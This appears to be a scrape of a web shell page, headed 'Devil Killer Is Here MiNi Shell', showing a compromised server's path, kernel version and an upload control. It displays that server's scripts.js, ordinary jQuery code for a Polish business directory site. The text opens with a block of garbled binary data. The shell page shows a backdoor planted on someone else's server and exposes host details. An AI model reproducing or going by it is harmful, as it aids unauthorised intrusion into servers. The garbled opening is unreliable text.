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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/web/js/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/web/js/scripts.js

/* 
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

jQuery.fn.bstooltip = jQuery.fn.tooltip; 

$(function(){
    /*obsługa tooltipów & popover*/
    $('[data-toggle="tooltip"]').bstooltip({ trigger: "hover" });
    $('[data-toggle="popover"]').popover({ trigger: "hover" });
    $('[data-dismiss="popover"]').click(function(){
        $(this).closest('.popover').hide(50);
    });
    setTimeout(function(){$('[data-dismiss="popover"]').trigger('click');}, 30000);
    /*data-help*/
    $('[data-help]').mouseenter(function(){
        var id = $(this).data('help');
        $(id).show();
    }).mouseleave(function(){
        var id = $(this).data('help');
        if ($(id+':hover').length == 0) {
            $(id).hide();
        };
    });
    $('.help-popover').mouseleave(function(){
       $(this).hide(); 
    });
    
    
    /*ezo-help*/
    $("#ezo-szukaj").on("click", function() {
        $("html, body").animate({
            scrollTop: 10
        }, 500);
        $("#ezo-help").modal('hide');
        $("#phrase").attr("title","Wpisz tutaj czego szukasz").bstooltip({placement:"bottom",trigger:"focus"}).bstooltip("show").trigger("focus");
        return false;
    });
            
    /*przycisk sterujący tab*/
    $("button[data-tab]").click(function(){
        var tab = $(this).data("tab"),
            target = $(this).data("target");
        $('#'+tab+' a[href="'+target+'"]').tab('show');
        return false;
    });
    
    /*obsługa galerii z miniaturami*/
    $(".gallery-images").on('slid.bs.carousel', function (e){
        id = $('.gallery-images div.active').data('slide-id');
        $('.gallery-thumbs li').removeClass('active');
        active = $('.gallery-thumbs li[data-slide-to="'+id+'"]');
        active.addClass('active');
        if(!active.closest('.item').hasClass('active')){
            thumbs = active.closest('.item').data('thumbs-id');
            $(".gallery-thumbs").carousel(thumbs);
        };
    });
    /*toggle class*/
    $('[data-change]').on('click',function(){
        var change = $(this).data('change'),
            toggleclass = $(this).data('toggle-class');
        $(change).toggleClass(toggleclass);
    });
    /*checkall* /
    $('[data-checkall]').on('click',function(){
        var container = $(this).data('checkall'),
            check = $(this).attr('data-check'),
            checkboxes = $('input[type="checkbox"]',container);
        if(check=='on'){
            $('[data-checkall]').attr('data-check','off');
        }else{
            $('[data-checkall]').attr('data-check','on');
        };
        checkboxes.trigger('click');//prop("checked", !checkboxes.prop("checked"));
        return false;            
    });
    /**/
    
    /*cover*/
    $('[data-cover]').on('click',function(){
        var cover = $(this).data('cover');
        var prev = $(this).prev();
        prev.find('.cover').text(cover);
        if(prev.attr('href'))prev.attr('href',prev.attr('href')+prev.text());
        var ajaxurl = $(this).data('ajax-url');
        var id = $(this).data('id');
        if(ajaxurl && id){
            $.ajax({
                url: ajaxurl,
                data: { id: id },
                method: 'POST',
            }).done(function( data ){
                console.log( "Data Loaded: " + data );
            });
        };
        $(this).remove();
    });
    
    var osmscriptload = false;
    
    /*obsługa map z jednym markerem*/
    $('.map').on('shown.bs.collapse', function () {
        initMap($(this));
    });    
    
    /*placeholder osm*/
    $('.placeholder-osm button').on('click',function () {
        initMap($(this).parent());
    });
    
    function initMap(div) {
        if(!osmscriptload){
            var mapScript = document.createElement('script');
            mapScript.type = 'text/javascript';
            mapScript.src = '/js/leaflet-1.9.4.js?v='+Math.floor(Math.random()*999999999);
            jQuery('head').append(mapScript);
            osmscriptload = true;
        };
        if(div.hasClass('loaded'))return true;
        var zoom = div.data('zoom') || 15;
        var map = L.map(div.get(0)).setView([parseFloat(div.data('lat')),parseFloat(div.data('lng'))], zoom);
        var layer = L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", {
            attribution: "&copy; <a href=\"https://www.openstreetmap.org/copyright\">OpenStreetMap</a> contributors",
        }).addTo(map);
        var marker = L.marker([parseFloat(div.data('lat')),parseFloat(div.data('lng'))]).addTo(map);		
        if(div.data('popup'))marker.bindPopup(div.data('popup')).openPopup();        
        div.addClass('loaded');
        /*
        if(div.hasClass('loaded'))return true;
        var latlng = new google.maps.LatLng(div.data('lat'),div.data('lng'));
        var opt = { zoom: div.data('zoom'), center: latlng, streetViewControl: false }; 
        var map = new google.maps.Map(div[0],opt);
        var marker = new google.maps.Marker({ position: latlng, icon: 'http://www.vmanager-front.dev/marker.png' }); marker.setMap(map);
        div.addClass('loaded');
        */
    };
    /*obsluga dużej mapy*/
    
    $('button[data-target="#map"]').on('click',function(){
       $('#map').collapse();
       return false;
    });
    
    $('#map').on('shown.bs.collapse', function () {
        if($("#search-map").hasClass('loaded'))return true;
        
        var mapScript = document.createElement('script');
	mapScript.type = 'text/javascript';
	mapScript.src = '/js/map.js?v='+Math.floor(Math.random()*999999999);
	jQuery('head').append(mapScript);
        
    });    
    
    /*obsługa map w akordeonie*/
    $('#branch').on('shown.bs.collapse', function (item) {
        var map = $('.map',item.target);
        initMap(map);
    });
    /*obsługa map w treściach*/
    $.each( $('.map.run') ,function () {
        initMap($(this));
    });
    /*mapcord* /
        var map = new google.maps.Map(document.getElementById('mapcord'), {
          zoom: 5,
          center: {lat: 52.04, lng: 19.28},
          mapTypeId: 'terrain'
        });
        var triangleCoords = [
    {lat: 54.43268061942441, lng: 19.719453124999973},
{lat: 54.38152633650829, lng: 22.861542968749973},
{lat: 54.09903580753907, lng: 23.476777343749973},
{lat: 52.69736937764334, lng: 23.916230468749973},
{lat: 52.26917553552668, lng: 23.191132812499973},
{lat: 51.30418543779673, lng: 23.762421874999973},
{lat: 50.48653214896392, lng: 24.092011718749973},
{lat: 49.54054865817656, lng: 22.663789062499973},
{lat: 49.01014213216037, lng: 22.883515624999973},
{lat: 49.4406388149788, lng: 21.521210937499973},
{lat: 49.32620636946076, lng: 19.983124999999973},
{lat: 49.56905687916518, lng: 19.455781249999973},
{lat: 49.41205568618354, lng: 19.038300781249973},
{lat: 50.12164485397184, lng: 17.654023437499973},
{lat: 50.416578873538455, lng: 16.972871093749973},
{lat: 50.12164485397184, lng: 16.621308593749973},
{lat: 50.44457259534826, lng: 16.159882812499973},
{lat: 50.59824232917779, lng: 16.423554687499973},
{lat: 50.987146281341765, lng: 14.973359374999973},
{lat: 52.550647759492236, lng: 14.621796874999973},
{lat: 52.896652352252595, lng: 14.072480468749973},
{lat: 53.2530642223168, lng: 14.489960937499973},
{lat: 53.93119943208613, lng: 14.292207031249973},
{lat: 54.33030822478514, lng: 16.137910156249973},
{lat: 54.87756387647657, lng: 18.291230468749973},
{lat: 54.34311873878369, lng: 18.950410156249973},
{lat: 54.44545922144814, lng: 19.631562499999973}
        ];

        // Construct the polygon.
        var bermudaTriangle = new google.maps.Polygon({
          paths: triangleCoords,
          strokeColor: '#FF0000',
          strokeOpacity: 0.8,
          strokeWeight: 1,
          fillColor: '#FF0000',
          fillOpacity: 0.35
        });
        bermudaTriangle.setMap(map);
        
        /*test* /
	var opcjeMarkera = {  
		position: new google.maps.LatLng('52.04','19.28'),
		draggable: true, 
		map: map
	};
	var marker = new google.maps.Marker(opcjeMarkera);
        google.maps.event.addListener(marker,"dragend",function(){
            var geopos = marker.getPosition();
            console.log('{lat: '+geopos.lat()+', lng: '+geopos.lng()+'},');
	});
        /**/
    
});
if($('#parallax').length)$(window).on('scroll', doParallax);
function getViewportHeight() {
    var a = document.documentElement.clientHeight, b = window.innerHeight;
    return a < b ? b : a;
}
function getViewportScroll() {
    if(typeof window.scrollY != 'undefined') {
        return window.scrollY;
    }
    if(typeof pageYOffset != 'undefined') {
        return pageYOffset;
    }
    var doc = document.documentElement;
    doc = doc.clientHeight ? doc : document.body;
    return doc.scrollTop;
}
function doParallax() {
    var parallax = $('#parallax'),
        elOffset, elHeight,
        offset = getViewportScroll(),
        vHeight = getViewportHeight();
        var off = parallax.offset();
        elOffset = off.top;
        elHeight = parallax.height();
 
        if((elOffset > offset + vHeight) || (elOffset + elHeight < offset)) { return; }
        
        /*console.log('50% '+Math.round((elOffset - offset)*3/8)+'px');*/
 
        parallax.css('backgroundPosition', '50% '+Math.round((elOffset - offset)*3/8)+'px');
}
/**/
if($('.wallpaper-affix').length)$(window).on('scroll', doWallpaper);
function doWallpaper() {
    var wallpaper = $('#wallpaper'),
        offset = getViewportScroll(),
        margin = 355,
        top = margin - offset;
        if(offset>100) top = top - 100; /*navbar affix*/
        /*navbar on top*/if(top<50)top=50;
        wallpaper.css('backgroundPosition', '50% '+top+'px');
}

$(document).delegate('*[rel-image]', 'click', function(event){
    event.preventDefault();
    var relimage = $(this).attr('rel-image'),
        reltext = $(this).attr('rel-text'),
        relsrc = $(this).attr('href'),
        width = $(relimage).css('width'),
        height = $(relimage).css('height');
    $(relimage).addClass('loading').attr('src','data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7').css({'width':width,'height':height});
    var tempimg = new Image();
    tempimg.src = relsrc;
    tempimg.onload = function(){
        $(relimage).attr('src',relsrc).removeClass('loading');
        $("#reltext").text(reltext);
    };
    return false;
});
$(document).delegate('*[rel="lightbox"]', 'click', function(event){
    event.preventDefault();
    $(this).ekkoLightbox();
    
    //$('#lightbox .modal-header,#lightbox .modal-footer').hide();
    //$('#lightbox .modal-body').empty();
    //$('#lightbox .modal-body').html('<img class="img-responsive" style="display:inline-block;" src="'+$(this).attr('href')+'">');
    //$('#lightbox').modal({show:true});
    
    return false;
});
$(document).delegate('*[data-video]', 'click', function(event){
    $('#lightbox .modal-header,#lightbox .modal-footer').hide();
    $('#lightbox .modal-body').empty();
    $('#lightbox .modal-body').html('<div class="embed-responsive embed-responsive-16by9"><iframe width="100%" src="https://www.youtube.com/embed/'+$(this).data('video')+'" frameborder="0" allowfullscreen></iframe></div>');
    $('#lightbox .modal-footer .modal-title').text($(this).data('title'));
    $('#lightbox .modal-footer').show();
    $('#lightbox').modal({show:true});
    return false;
});
$(document).delegate('*[data-video-youtube]', 'click', function(event){
    $('#lightbox .modal-header,#lightbox .modal-footer').hide();
    $('#lightbox .modal-body').empty();
    $('#lightbox .modal-body').html('<div class="embed-responsive embed-responsive-16by9"><iframe width="100%" src="https://www.youtube.com/embed/'+$(this).data('video-youtube')+'" frameborder="0" allowfullscreen></iframe></div>');
    $('#lightbox .modal-footer .modal-title').text($(this).data('title'));
    $('#lightbox .modal-footer').show();
    $('#lightbox').modal({show:true});
    return false;
});
$(document).delegate('*[data-video-vimeo]', 'click', function(event){
    $('#lightbox .modal-header,#lightbox .modal-footer').hide();
    $('#lightbox .modal-body').empty();
    $('#lightbox .modal-body').html('<div class="embed-responsive embed-responsive-16by9"><iframe width="100%" src="https://player.vimeo.com/video/'+$(this).data('video-vimeo')+'" frameborder="0" allowfullscreen></iframe></div>');
    $('#lightbox .modal-footer .modal-title').text($(this).data('title'));
    $('#lightbox .modal-footer').show();
    $('#lightbox').modal({show:true});
    return false;
});
$(document).delegate('.data-filter', 'click', function(event){
    var filter = $(this).attr('href').substr(1);
    if(filter){
        $('[data-filter]').not('[data-filter="'+filter+'"]').slideUp(100);
        $('[data-filter="'+filter+'"]').slideDown(100);
    }else{
        $('[data-filter]').slideDown(100);
    };
    return false;
});
$(document).delegate('.lorem.more button', 'click', function(event){
    var that = $(this);
    that.parent('.lorem').removeClass('more');
    that.remove();
    return false;
});
$('#packages').on('shown.bs.collapse', function (item) {
    var collapse = item.target,
        submit = item.target.dataset.submit,
        price = item.target.dataset.price;
    $(collapse).prev().find('input[type="radio"]').prop('checked', true);
    $('#submit').text(submit+price);
});
$('#localization').on('shown.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[type="radio"]').prop('checked', true);
});
$('#additional-contact').on('shown.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[type="checkbox"]').prop('checked', true);
});
$('#additional-contact').on('hidden.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[type="checkbox"]').prop('checked', '');
});
$('#additional-vat').on('shown.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[type="checkbox"]').prop('checked', true);
});
$('#additional-vat').on('hidden.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[type="checkbox"]').prop('checked', '');
});
$('#additional-region').on('shown.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[data-collapse="shown"]').prop('checked', true);
});
$('#additional-region').on('hidden.bs.collapse', function (item) {
    var collapse = item.target,
        id = $(collapse).attr('id');
    $('*[href="#'+id+'"]').find('input[data-collapse="hidden"]').prop('checked', true);
});
/*
$(document).delegate('.onecat .next', 'click', function(event){
    var that = $(this);
    that.closest('ul').children().hide();
    that.parent().next('ul').show();
    return false;
});  
$(document).delegate('.onecat button', 'click', function(event){
    var that = $(this);
    that.parent().hide();
    that.parent().parent().children('li,button').show();
    return false;
});
*/
/*plus-tree.toggle* /
$(document).delegate('.plus-tree.toggle .plus', 'click', function(event){
    var that = $(this);
    that.parent().next('ul').toggle();
    return false;
});/**/

/*plus-tree pseudoajax:)*/
$(document).delegate('.plus-tree span[data-id]', 'click', function(event){
    var that = $(this),
        id = that.data('id'),
        nav = that.closest('nav');
    $('ul',nav).hide();
    $('ul[data-id="'+id+'"]',nav).show();
    return false;
});
$(document).delegate('.plus-tree-up', 'click', function(event){
    var nav = $(this).attr('href'),
        id =  $('ul:visible',nav).data('id');
    if(id){
        var up = $('span[data-id="'+id+'"]',nav).closest('ul').data('id');
        $('ul[data-id="'+id+'"]',nav).hide();
        $('ul[data-id="'+up+'"]',nav).show();
    };    
    return false;
});
$(document).ready(function(){
    $.each($('nav[data-selected-category]'),function(){
        var selectedcategory = $(this).data('selected-category'),
            nav = $('nav[data-selected-category="'+selectedcategory+'"]');
        //if(!selectedcategory) return;
        if ($('ul[data-id="'+selectedcategory+'"]',nav).length){
            $('ul',nav).hide();
            $('ul[data-id="'+selectedcategory+'"]',nav).show();
        }else{
            //ostatnia kategoria
            var cat = $('*[data-cat="'+selectedcategory+'"]',nav);
            if (cat.length){
                cat.addClass('portal-color');
                var lastcategory = cat.closest('ul').attr('data-id');
                $('ul',nav).hide();
                $('ul[data-id="'+lastcategory+'"]',nav).show();
            }else{
                nav.append('<h2 class="text-center text-danger">JQuery: Brak kategorii do wyświetlenia?</h2>');
            };
        };        
    });
    
    vmanager.inquiriesManager.getInstance().loadData();
});

$(document).delegate('#ezocompanies_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearCompanies(); 
    return false;
});
$(document).delegate('#ezocompanies_categories_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearCompaniesCategories(); 
    return false;
});
$(document).delegate('#ezoproducts_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearProducts();
    return false;
});
$(document).delegate('#ezoproducts_categories_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearProductsCategories(); 
    return false;
});
$(document).delegate('#ezobooks_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearBooks();
    return false;
});
$(document).delegate('#ezobooks_categories_form button', 'click', function(event){
    vmanager.inquiriesManager.getInstance().clearBooksCategories(); 
    return false;
});

$("body").on("vmanager:refreshInquiries", function(event, status, data) {
    $("#ezocompanies_form, #ezocompanies_categories_form, #ezoproducts_form, #ezoproducts_categories_form, #ezobooks_form, #ezobooks_categories_form").find("li").remove();
    $('[href="#ezocompanies_form"] span').text(data.companies.length);
    $('[href="#ezocompanies_categories_form"] span').text(data.companies_categories.length);
    $('[href="#ezoproducts_form"] span').text(data.products.length);
    $('[href="#ezoproducts_categories_form"] span').text(data.products_categories.length);
    $('[href="#ezobooks_form"] span').text(data.books.length);
    $('[href="#ezobooks_categories_form"] span').text(data.books_categories.length);
    
    var c = 0;
    if(data.companies.length > 0) { 
        $("#ezocompanies_form").removeClass('empty');
        for(var i = 0, len = data.companies.length; i < len; i++) { c++;
            $(".check[data-id="+data.companies[i].id_company+"]").prop("checked","true");
            $("#ezocompanies_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.companies[i].id_company+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/firmy/dane-kontaktowe/'+data.companies[i].id_presentation+'">'+data.companies[i].name+'</a>'+
                    '</li>');
        }
    }else {$("#ezocompanies_form").addClass('empty');};
    if(data.companies_categories.length > 0) { 
        $("#ezocompanies_categories_form").removeClass('empty');
        for(var i = 0, len = data.companies_categories.length; i < len; i++) { c++;
            $("#ezocompanies_categories_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.companies_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/firmy/lista/'+data.companies_categories[i].id_category+'">'+data.companies_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezocompanies_categories_form").addClass('empty');};
    if(data.products.length > 0) { 
        $("#ezoproducts_form").removeClass('empty');
        for(var i = 0, len = data.products.length; i < len; i++) { c++;
            $("#ezoproducts_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.products[i].id_product+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/produkty/szczegoly/'+data.products[i].id_product+'">'+data.products[i].name+'</a>'+
                    '</li>');
        }
    } else {$("#ezoproducts_form").addClass('empty');};
    if(data.products_categories.length > 0) { 
        $("#ezoproducts_categories_form").removeClass('empty');
        for(var i = 0, len = data.products_categories.length; i < len; i++) { c++;
            $("#ezoproducts_categories_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.products_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/produkty/lista/'+data.products_categories[i].id_category+'">'+data.products_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezoproducts_categories_form").addClass('empty');}; 
    if(data.books.length > 0) { 
        $("#ezobooks_form").removeClass('empty');
        for(var i = 0, len = data.books.length; i < len; i++) { c++;
            $("#ezobooks_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.books[i].id_book+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/ksiegarnia/pozycja/'+data.books[i].id_book+'">'+data.books[i].title+'</a>'+
                    '</li>');
        }
    } else {$("#ezobooks_form").addClass('empty');};
    if(data.books_categories.length > 0) { 
        $("#ezobooks_categories_form").removeClass('empty');
        for(var i = 0, len = data.books_categories.length; i < len; i++) { c++;
            $("#ezobooks_categories_form").prepend(
                    '<li class="col-md-6 nopadding">'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.books_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/ksiegarnia/katalog/'+data.books_categories[i].id_category+'">'+data.books_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezobooks_categories_form").addClass('empty');};
    
    
});



$("body").on("vmanager:refreshInquiries", function(event, status, data) {
    var counter = data.companies.length + data.products.length + data.books.length + data.companies_categories.length + data.products_categories.length + data.books_categories.length;
    if(counter){
        $(".ezocounter").text(counter).addClass("notempty");
        $(".ezocaret").removeClass("hide").parent().attr('data-toggle','dropdown').css("cursor","pointer");
    }else{
        $(".ezocounter").each(function(){$(this).text($(this).attr('data-def')).removeClass("notempty");});
        if($(".ezocaret").parent().parent().hasClass('open'))$(".ezocaret").trigger('click');
        $(".ezocaret").addClass("hide").parent().attr('data-toggle','-dropdown').css("cursor","auto");
    };
    $("#ezocompanies, #ezocompanies_categories, #ezoproducts, #ezoproducts_categories, #ezobooks, #ezobooks_categories").find("li").remove();

    var c = 0;
    if(data.companies.length > 0) { 
        $("#ezocompanies").removeClass('empty');
        for(var i = 0, len = data.companies.length; i < len; i++) { c++;
            $(".check[data-id="+data.companies[i].id_company+"]").prop("checked","true");
            $("#ezocompanies").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.companies[i].id_company+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/firmy/dane-kontaktowe/'+data.companies[i].id_presentation+'">'+data.companies[i].name+'</a>'+
                    '</li>');
        }
    }else {$("#ezocompanies").addClass('empty');};
    if(data.companies_categories.length > 0) { 
        $("#ezocompanies_categories").removeClass('empty');
        for(var i = 0, len = data.companies_categories.length; i < len; i++) { c++;
            $("#ezocompanies_categories").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.companies_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/firmy/lista/'+data.companies_categories[i].id_category+'">'+data.companies_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezocompanies_categories").addClass('empty');};
    if(data.products.length > 0) { 
        $("#ezoproducts").removeClass('empty');
        for(var i = 0, len = data.products.length; i < len; i++) { c++;
            $("#ezoproducts").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.products[i].id_product+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/produkty/szczegoly/'+data.products[i].id_product+'">'+data.products[i].name+'</a>'+
                    '</li>');
        }
    } else {$("#ezoproducts").addClass('empty');};
    if(data.products_categories.length > 0) { 
        $("#ezoproducts_categories").removeClass('empty');
        for(var i = 0, len = data.products_categories.length; i < len; i++) { c++;
            $("#ezoproducts_categories").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.products_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/produkty/lista/'+data.products_categories[i].id_category+'">'+data.products_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezoproducts_categories").addClass('empty');}; 
    if(data.books.length > 0) { 
        $("#ezobooks").removeClass('empty');
        for(var i = 0, len = data.books.length; i < len; i++) { c++;
            $("#ezobooks").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.books[i].id_book+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/ksiegarnia/pozycja/'+data.books[i].id_book+'">'+data.books[i].title+'</a>'+
                    '</li>');
        }
    } else {$("#ezobooks").addClass('empty');};
    if(data.books_categories.length > 0) { 
        $("#ezobooks_categories").removeClass('empty');
        for(var i = 0, len = data.books_categories.length; i < len; i++) { c++;
            $("#ezobooks_categories").append(
                    '<li>'+
                        '<span>'+
                            '<input type="checkbox" name="checkbox" id="checkboxezo'+c+'" class="check" data-id="'+data.books_categories[i].id_category+'" checked>'+
                            '<label for="checkboxezo'+c+'"></label>'+
                        '</span>'+
                        '<a href="/ksiegarnia/katalog/'+data.books_categories[i].id_category+'">'+data.books_categories[i].path+'</a>'+
                    '</li>');
        }
    } else {$("#ezobooks_categories").addClass('empty');}; 

});
$(document).delegate('#ezocompanies .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idCompany = $(this).data("id");
    manager.deleteCompanies([idCompany]);
    var checked = $(".ezo[data-id="+idCompany+"]").attr("data-checked");
    if(!checked){
        $(".ezo[data-id="+idCompany+"]").attr("data-checked","true");
    }else{
        $(".ezo[data-id="+idCompany+"]").attr("data-checked","");
    };
});
$(document).delegate('#ezocompanies_categories .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idCategory = $(this).data("id");
    manager.deleteCompaniesCategories([idCategory]);
    $(".check[data-id="+idCategory+"]").prop("checked","");
});
$(document).delegate('#ezoproducts .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idProduct = $(this).data("id");
    manager.deleteProducts([idProduct]);
    $(".check[data-id="+idProduct+"]").prop("checked","");
    var checked = $(".ezo[data-id="+idProduct+"]").attr("data-checked");
    if(!checked){
        $(".ezo[data-id="+idProduct+"]").attr("data-checked","true");
    }else{
        $(".ezo[data-id="+idProduct+"]").attr("data-checked","");
    };    
});
$(document).delegate('#ezoproducts_categories .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idCategory = $(this).data("id");
    manager.deleteProductsCategories([idCategory]);
    $(".check[data-id="+idCategory+"]").prop("checked","");
});
$(document).delegate('#ezobooks .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idBook = $(this).data("id");
    manager.deleteBooks([idBook]);
    $(".check[data-id="+idBook+"]").prop("checked","");
    var checked = $(".ezo[data-id="+idBook+"]").attr("data-checked");
    if(!checked){
        $(".ezo[data-id="+idBook+"]").attr("data-checked","true");
    }else{
        $(".ezo[data-id="+idBook+"]").attr("data-checked","");
    };    
});
$(document).delegate('#ezobooks_categories .check[data-id]', 'click', function(event){ 
    var manager = vmanager.inquiriesManager.getInstance(),
        idCategory = $(this).data("id");
    manager.deleteBooksCategories([idCategory]);
    $(".check[data-id="+idCategory+"]").prop("checked","");
});
$(document).delegate('.ezodropdown .btn-add', 'click', function(event){ 
    vmanager.inquiriesManager.getInstance().clearAll();
    $(".check[data-id]").prop("checked","");
});

$(document).on('click', '.ezodropdown', function(e) {
    e.stopPropagation();
});

/* TEST */
function ezoanimation(that){
    if(that.parent().find('.ezoanim').length)return false;
    that.parent().append('<span class="ezoanim"></span>');
    var ezoanim = that.parent().find('.ezoanim'),
        startleft = ezoanim.offset().left,
        starttop = ezoanim.offset().top - $(document).scrollTop() - 23, /*23?*/
        endleft = $('.ezocounter:visible').offset().left,
        endtop = $('.ezocounter:visible').offset().top - $(document).scrollTop();
     ezoanim.css({position:"fixed", left:startleft, top:starttop})
            .animate({ width: "48px",height:"48px",marginLeft:"-15px",marginTop:"-15px",opacity:0.1 }, 100, "swing", function() { 
                $(this).animate({ width: "18px",height:"18px",marginLeft:"0",marginTop:"0",opacity:1 }, 100, "swing", function() { 
                $(this).animate({ left: endleft },{queue: false, duration: 650}, "swing")
                       .animate({ top : endtop }, 850, "swing", function() { $(this).remove(); });  
     }); });
};

/*portal-button-info* /
//$(function(){
    $('.portal-button-info').on('click',function(){
        var template = "<div class='popover tour'>"
                        +"<div class='arrow'></div>"
                        +"<h3 class='popover-title'></h3>"
                        +"<div class='popover-content'></div>"
                        +"<div class='popover-navigation'>"
                            +"<div class='btn-group'>"
                            +"<button class='btn btn-sm btn-default' data-role='prev'><span class='glyphicon glyphicon-chevron-left'></span></button>"
                            +"<button class='btn btn-sm btn-default' data-role='next'><span class='glyphicon glyphicon-chevron-right'></span></button>"
                            +"</div>"
                            +"<button class='btn btn-sm btn-danger' data-role='end'>Zakończ</button>"
                        +"</div>"
                        +"</div>";
        var tour = new Tour({
          steps: [
          {
            placement: "top",
            element: "#tour1",
            title: "Wyszukuj",
            content: "Wyszukaj firmy wg słów kluczowych"
          },
          {
            placement: "top",
            element: "#tour2",
            title: "Sortuj",
            content: "Segreguj wyniki wyszukiwania"
          }
        ],
        container: "body",
        smartPlacement: true,
        keyboard: true,
        storage: window.localStorage,
        debug: false,
        backdrop: false,
        backdropContainer: 'body',
        backdropPadding: 0,
        redirect: true,
